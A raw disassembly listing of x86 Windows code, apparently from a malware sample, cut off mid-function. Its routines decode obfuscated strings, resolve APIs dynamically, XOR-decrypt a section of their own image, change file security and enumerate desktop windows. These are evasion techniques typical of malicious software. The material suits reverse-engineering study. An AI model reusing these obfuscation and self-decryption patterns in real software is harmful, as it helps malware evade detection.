sub_43AB3B	proc near		; CODE XREF: sub_4446AE:loc_4446B1p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_44D0A4
		add	eax, dword_44D09C
		sub	eax, 0Ah
		push	eax
		push	0
		push	20h
		push	0
		call	ds:dword_449A00	; SHGetFolderPathA
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_44A420	; GetSystemTime
		mov	eax, dword_44D1E4
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, dword_44D09C
		add	ebx, 37h
		movsx	esi, word_44D0E8
		add	ebx, esi
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		mov	ebx, dword_44D1E8
		add	ebx, 11h
		movsx	esi, word_44D148
		add	ebx, esi
		imul	ecx, ebx
		mov	ebx, dword_44D1D8
		add	ebx, 38h
		add	ebx, dword_44D184
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		mov	ebx, dword_44D0D4
		add	ebx, 19h
		movsx	esi, word_44D190
		add	ebx, esi
		imul	ecx, ebx
		mov	ebx, dword_44D1E4
		add	ebx, 17h
		imul	ecx, ebx
		mov	ebx, dword_44D150
		add	ebx, 32h
		add	ebx, dword_44D14C
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		mov	ebx, dword_44D0FC
		add	ebx, 4
		add	ebx, dword_44D1C4
		imul	ecx, ebx
		mov	ebx, dword_44D19C
		add	ebx, 15h
		add	ebx, dword_44D15C
		imul	ecx, ebx
		movsx	ebx, word_44D120
		lea	eax, [eax+ebx+0Eh]
		imul	ecx, eax
		movsx	eax, word_44D110
		add	eax, 3Ch
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:dword_446028, eax
		mov	eax, dword_44D0E0
		dec	eax
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43D4AD
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AC82	proc near		; CODE XREF: sub_43A39F+A0p
					; sub_43A39F+B0p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_44D250, 0
		jnz	short loc_43ACAA
		push	offset dword_44CDA0
		call	ds:dword_447FB8	; InitializeCriticalSection
		mov	dword_44D250, 1


loc_43ACAA:				; CODE XREF: sub_43AC82+11j
		mov	esi, dword_44D124
		inc	esi
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_44D158
		sub	edx, 5
		cmp	eax, edx
		jz	short loc_43AD50
		push	offset dword_44CDA0
		call	ds:dword_44C83C	; RtlEnterCriticalSection
		mov	eax, dword_44D1AC
		sub	eax, 2
		mov	[ebp+var_2], ax
		jmp	short loc_43AD08
; ---------------------------------------------------------------------------


loc_43ACF3:				; CODE XREF: sub_43AC82+90j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_43AD08:				; CODE XREF: sub_43AC82+6Fj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43ACF3
		movsx	eax, word_44D160
		add	eax, dword_44D224
		sub	eax, 0Bh
		mov	edx, dword_44D100
		sub	edx, 7
		mov	[edi+eax], dl
		mov	eax, dword_44D1D8
		sub	eax, 2
		movsx	edx, word_44D0C4
		sub	edx, 9
		mov	[edi+eax], dl
		push	offset dword_44CDA0
		call	ds:dword_44B824	; RtlLeaveCriticalSection


loc_43AD50:				; CODE XREF: sub_43AC82+56j
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AC82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43AD58	proc near		; DATA XREF: sub_43E524+151o
		push	ebp
		mov	ebp, esp


loc_43AD5B:				; CODE XREF: sub_43AD58+3Cj
		movsx	eax, word_44D148
		movsx	edx, word_44D098
		add	eax, edx
		sub	eax, 5
		push	eax
		call	ds:dword_44C80C
		pop	ecx
		movsx	eax, word_44D0F4
		add	eax, dword_44D1A4
		sub	eax, 8
		push	eax
		push	offset sub_43A6D4
		push	0
		call	ds:dword_446FFC	; EnumDesktopWindows
		jmp	short loc_43AD5B
sub_43AD58	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_43AD9A	proc near		; CODE XREF: sub_43A39F+11p
		push	edi
		push	offset word_44EB1A
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D260, eax
		test	eax, eax
		jnz	short loc_43ADCD
		push	offset asc_44EB0D ; "\t"
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D260, eax


loc_43ADCD:				; CODE XREF: sub_43AD9A+1Aj
		push	offset word_44EAFE
		call	sub_43AC82
		push	eax
		push	dword_44D260
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A214, eax
		push	offset dword_44EAEC
		call	sub_43AC82
		add	esp, 8
		push	eax
		push	dword_44D260
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4480D0, eax
		pop	edi
		retn
sub_43AD9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AE0A	proc near		; DATA XREF: .data:0044D37Co

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_44D0F0
		add	eax, 0BFh
		movsx	edx, word_44D120
		add	eax, edx
		cmp	[ebp+arg_4], eax
		jnz	loc_43AF45
		mov	[ebp+var_18], 3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, dword_44D360
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp+var_4], eax
		movsx	eax, word_44D210
		add	eax, dword_44D0EC
		sub	eax, 0Ch
		cmp	[ebp+var_4], eax
		jnz	loc_43AF41
		dec	[ebp+var_10]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_44D360
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp+var_4], eax
		mov	eax, dword_44D138
		movsx	edx, word_44D0A0
		add	eax, edx
		sub	eax, 6
		cmp	[ebp+var_4], eax
		jnz	loc_43AF41
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_44ECD4
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		movsx	eax, word_44D160
		sub	eax, 6
		cmp	[ebp+var_4], eax
		jnz	short loc_43AF38
		lea	eax, off_44D35C
		mov	[ebp+var_8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_44EC04
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_44D0D8
		sub	eax, 5
		cmp	[ebp+var_4], eax
		jnz	short loc_43AF26
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_44EC04
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_444A27
		add	esp, 10h
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43AF26:				; CODE XREF: sub_43AE0A+F7j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp+var_20]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43AF38:				; CODE XREF: sub_43AE0A+C2j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43AF41:				; CODE XREF: sub_43AE0A+57j
					; sub_43AE0A+96j
		xor	eax, eax
		jmp	short loc_43AF4A
; ---------------------------------------------------------------------------


loc_43AF45:				; CODE XREF: sub_43AE0A+26j
		mov	eax, 80020003h


loc_43AF4A:				; CODE XREF: sub_43AE0A+139j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43AE0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_43AF51	proc near		; DATA XREF: .data:0044D370o
		mov	eax, 80004001h
		retn	8
sub_43AF51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AF59	proc near		; CODE XREF: sub_43B347+9p
					; sub_4409DF+Cp ...

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		cmp	dword_44D280, 0
		jz	short loc_43AF70
		xor	eax, eax
		inc	eax
		jmp	short locret_43AF9F
; ---------------------------------------------------------------------------


loc_43AF70:				; CODE XREF: sub_43AF59+10j
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	ds:dword_44CD78	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_43AF9A
		mov	dword_44D280, 1


loc_43AF9A:				; CODE XREF: sub_43AF59+35j
		mov	eax, dword_44D280

locret_43AF9F:				; CODE XREF: sub_43AF59+15j
		leave
		retn
sub_43AF59	endp


; =============== S U B	R O U T	I N E =======================================



sub_43AFA1	proc near		; CODE XREF: sub_43A39F+Cp
		push	edi
		push	offset word_44EADE
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D25C, eax
		test	eax, eax
		jnz	short loc_43AFD4
		push	offset asc_44EAD0 ; "\n"
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D25C, eax


loc_43AFD4:				; CODE XREF: sub_43AFA1+1Aj
		push	offset byte_44EABD
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7DC, eax
		push	offset word_44EAAA
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B820, eax
		push	offset dword_44EA98
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495C8, eax
		push	offset byte_44EA87
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A1E8, eax
		push	offset byte_44EA73
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447004, eax
		push	offset word_44EA62
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447FC0, eax
		push	offset byte_44EA4B
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495A4, eax
		push	offset dword_44EA3C
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B800, eax
		push	offset byte_44EA2F
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446004, eax
		push	offset byte_44EA1D
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7FC, eax
		push	offset dword_44EA0C
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C830, eax
		push	offset word_44E9FA
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD88, eax
		push	offset byte_44E9EB
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A1E4, eax
		push	offset word_44E9DE
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7F4, eax
		push	offset byte_44E9CF
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C820, eax
		push	offset byte_44E9C1
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446FF0, eax
		push	offset byte_44E9AF
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449090, eax
		push	offset byte_44E99F
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446014, eax
		push	offset byte_44E993
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499FC, eax
		push	offset byte_44E987
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7D4, eax
		push	offset byte_44E975
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495AC, eax
		push	offset byte_44E963
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C834, eax
		push	offset byte_44E955
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C838, eax
		push	offset byte_44E941
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C95C, eax
		push	offset dword_44E930
		call	sub_43AC82
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C814, eax
		push	offset word_44E91A
		call	sub_43AC82
		add	esp, 68h
		push	eax
		push	dword_44D25C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446FFC, eax
		pop	edi
		retn
sub_43AFA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B2B1	proc near		; CODE XREF: sub_43A39F+251p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	ecx, esi
		add	ecx, eax
		mov	eax, [ecx+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		mov	edx, dword_44D1D0
		add	edx, 1F3h
		add	edx, dword_44D13C
		mov	ebx, eax
		imul	ebx, edx
		mov	eax, dword_44D244
		mov	ecx, eax
		add	ecx, dword_44D1B4
		sub	ecx, 0Bh
		jmp	short loc_43B30F
; ---------------------------------------------------------------------------


loc_43B301:				; CODE XREF: sub_43B2B1+60j
		movzx	eax, byte ptr [esi+ecx]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+ecx], al
		inc	ecx


loc_43B30F:				; CODE XREF: sub_43B2B1+4Ej
		cmp	ecx, ebx
		jb	short loc_43B301
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B2B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B31E	proc near		; DATA XREF: .data:0044D328o
		push	ebp
		mov	ebp, esp
		movsx	eax, word_44D1F0
		sub	eax, 2
		cmp	ds:dword_44C964, eax
		jbe	short loc_43B33E
		push	offset dword_44C964
		call	ds:dword_446010	; InterlockedDecrement


loc_43B33E:				; CODE XREF: sub_43B31E+13j
		mov	eax, ds:dword_44C964
		pop	ebp
		retn	4
sub_43B31E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B347	proc near		; CODE XREF: sub_43F4CC+95p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43AF59
		or	eax, eax
		jz	short loc_43B37D
		push	dword_44D288
		push	1
		push	edi
		call	ds:dword_44C848	; SetFileSecurityA
		mov	[ebp+var_4], eax
		push	dword_44D288
		push	4
		push	edi
		call	ds:dword_44C848	; SetFileSecurityA
		mov	[ebp+var_8], eax


loc_43B37D:				; CODE XREF: sub_43B347+10j
		pop	edi
		leave
		retn
sub_43B347	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B380	proc near		; CODE XREF: sub_442ACB+2p
					; sub_442ACB+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_44D0C8
		add	eax, dword_44D244
		sub	eax, 0Bh
		push	eax
		push	0
		push	[ebp+arg_0]
		push	0
		call	ds:dword_449A00	; SHGetFolderPathA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43B3DE
		push	offset byte_44E915
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	ds:dword_446024
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_43D16C
		add	esp, 18h


loc_43B3DE:				; CODE XREF: sub_43B380+31j
		pop	edi
		leave
		retn
sub_43B380	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B3E1	proc near		; CODE XREF: sub_43A39F+2Fp
		push	edi
		push	offset byte_44E905
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D278, eax
		test	eax, eax
		jnz	short loc_43B414
		push	offset byte_44E8F5
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D278, eax


loc_43B414:				; CODE XREF: sub_43B3E1+1Aj
		push	offset dword_44E8E4
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44959C, eax
		push	offset dword_44E8D0
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446044, eax
		push	offset byte_44E8C1
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7E8, eax
		push	offset byte_44E8B1
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495A0, eax
		push	offset byte_44E89D
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449080, eax
		push	offset dword_44E884
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44601C, eax
		push	offset byte_44E86D
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7F0, eax
		push	offset dword_44E854
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B810, eax
		push	offset unk_44E834
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446FF4, eax
		push	offset byte_44E817
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A1E0, eax
		push	offset byte_44E7F9
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499E8, eax
		push	offset dword_44E7DC
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4491A8, eax
		push	offset word_44E7C6
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499DC, eax
		push	offset byte_44E7AB
		call	sub_43AC82
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446048, eax
		push	offset byte_44E797
		call	sub_43AC82
		add	esp, 3Ch
		push	eax
		push	dword_44D278
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C848, eax
		pop	edi
		retn
sub_43B3E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B5BD	proc near		; DATA XREF: .data:off_44D320o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44ECC4
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_43B5E9
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B631
; ---------------------------------------------------------------------------


loc_43B5E9:				; CODE XREF: sub_43B5BD+1Aj
		push	offset dword_44EC34
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_43B609
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B631
; ---------------------------------------------------------------------------


loc_43B609:				; CODE XREF: sub_43B5BD+3Aj
		push	offset dword_44EC14
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_43B629
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B631
; ---------------------------------------------------------------------------


loc_43B629:				; CODE XREF: sub_43B5BD+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_43B631:				; CODE XREF: sub_43B5BD+2Aj
					; sub_43B5BD+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43B5BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B638	proc near		; CODE XREF: sub_43BC02+BBp
					; sub_43BC02+110p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43B64E:				; CODE XREF: sub_43B638+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B64E
		mov	[ebp+var_4], eax
		movsx	edi, word_44D0A0
		sub	edi, 1
		jmp	short loc_43B6D4
; ---------------------------------------------------------------------------


loc_43B664:				; CODE XREF: sub_43B638+9Fj
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_43B677
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_43B677
		cmp	al, 2Eh
		jnz	short loc_43B696


loc_43B677:				; CODE XREF: sub_43B638+32j
					; sub_43B638+39j
		push	offset byte_44E791
		call	sub_43AC82
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_44C810
		add	esp, 10h
		jmp	short loc_43B6C5
; ---------------------------------------------------------------------------


loc_43B696:				; CODE XREF: sub_43B638+3Dj
		push	offset dword_44E78C
		call	sub_43AC82
		push	eax
		push	ebx
		call	ds:dword_446024
		push	offset dword_44E784
		call	sub_43AC82
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_44C810
		add	esp, 1Ch


loc_43B6C5:				; CODE XREF: sub_43B638+5Cj
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	ds:dword_446024
		add	esp, 8
		inc	edi


loc_43B6D4:				; CODE XREF: sub_43B638+2Aj
		cmp	edi, [ebp+var_4]
		jb	short loc_43B664
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B638	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B6DF	proc near		; DATA XREF: .data:0044D358o

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_44D220
		movsx	edx, word_44D0B8
		lea	eax, [eax+edx+0EAh]
		cmp	edi, eax
		jnz	short loc_43B713
		push	[ebp+arg_14]
		call	sub_441138
		pop	ecx
		xor	eax, eax
		jmp	short loc_43B739
; ---------------------------------------------------------------------------


loc_43B713:				; CODE XREF: sub_43B6DF+25j
		mov	eax, dword_44D15C
		add	eax, 0FBh
		add	eax, dword_44D158
		cmp	edi, eax
		jnz	short loc_43B734
		push	[ebp+arg_14]
		call	sub_43CEF8
		pop	ecx
		xor	eax, eax
		jmp	short loc_43B739
; ---------------------------------------------------------------------------


loc_43B734:				; CODE XREF: sub_43B6DF+46j
		mov	eax, 80020003h


loc_43B739:				; CODE XREF: sub_43B6DF+32j
					; sub_43B6DF+53j
		pop	edi
		pop	ebp
		retn	24h
sub_43B6DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B73E	proc near		; CODE XREF: sub_43E36B+E9p
					; sub_43EB7A+1B8p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44D160
		add	eax, dword_44D118
		sub	eax, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	esi, eax
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_43B867
; ---------------------------------------------------------------------------


loc_43B772:				; CODE XREF: sub_43B73E+131j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, dword_44D384[edx]
		mov	eax, dword_44D1F8
		sub	eax, 5
		neg	eax
		cmp	esi, eax
		jz	loc_43B866
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	loc_43B863
		cmp	eax, 3
		jg	loc_43B863
		jmp	off_44D784[eax*4]


loc_43B7AC:				; DATA XREF: .data:off_44D784o
		inc	[ebp+var_8]
		jmp	loc_43B863
; ---------------------------------------------------------------------------


loc_43B7B4:				; CODE XREF: sub_43B73E+67j
					; DATA XREF: .data:0044D788o
		mov	edx, [ebp+var_C]
		movsx	ecx, word_44D0A0
		add	ecx, dword_44D22C
		sub	ecx, 3
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_18], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, dword_44D17C
		sub	ecx, 5
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_43B863
; ---------------------------------------------------------------------------


loc_43B7F5:				; CODE XREF: sub_43B73E+67j
					; DATA XREF: .data:0044D78Co
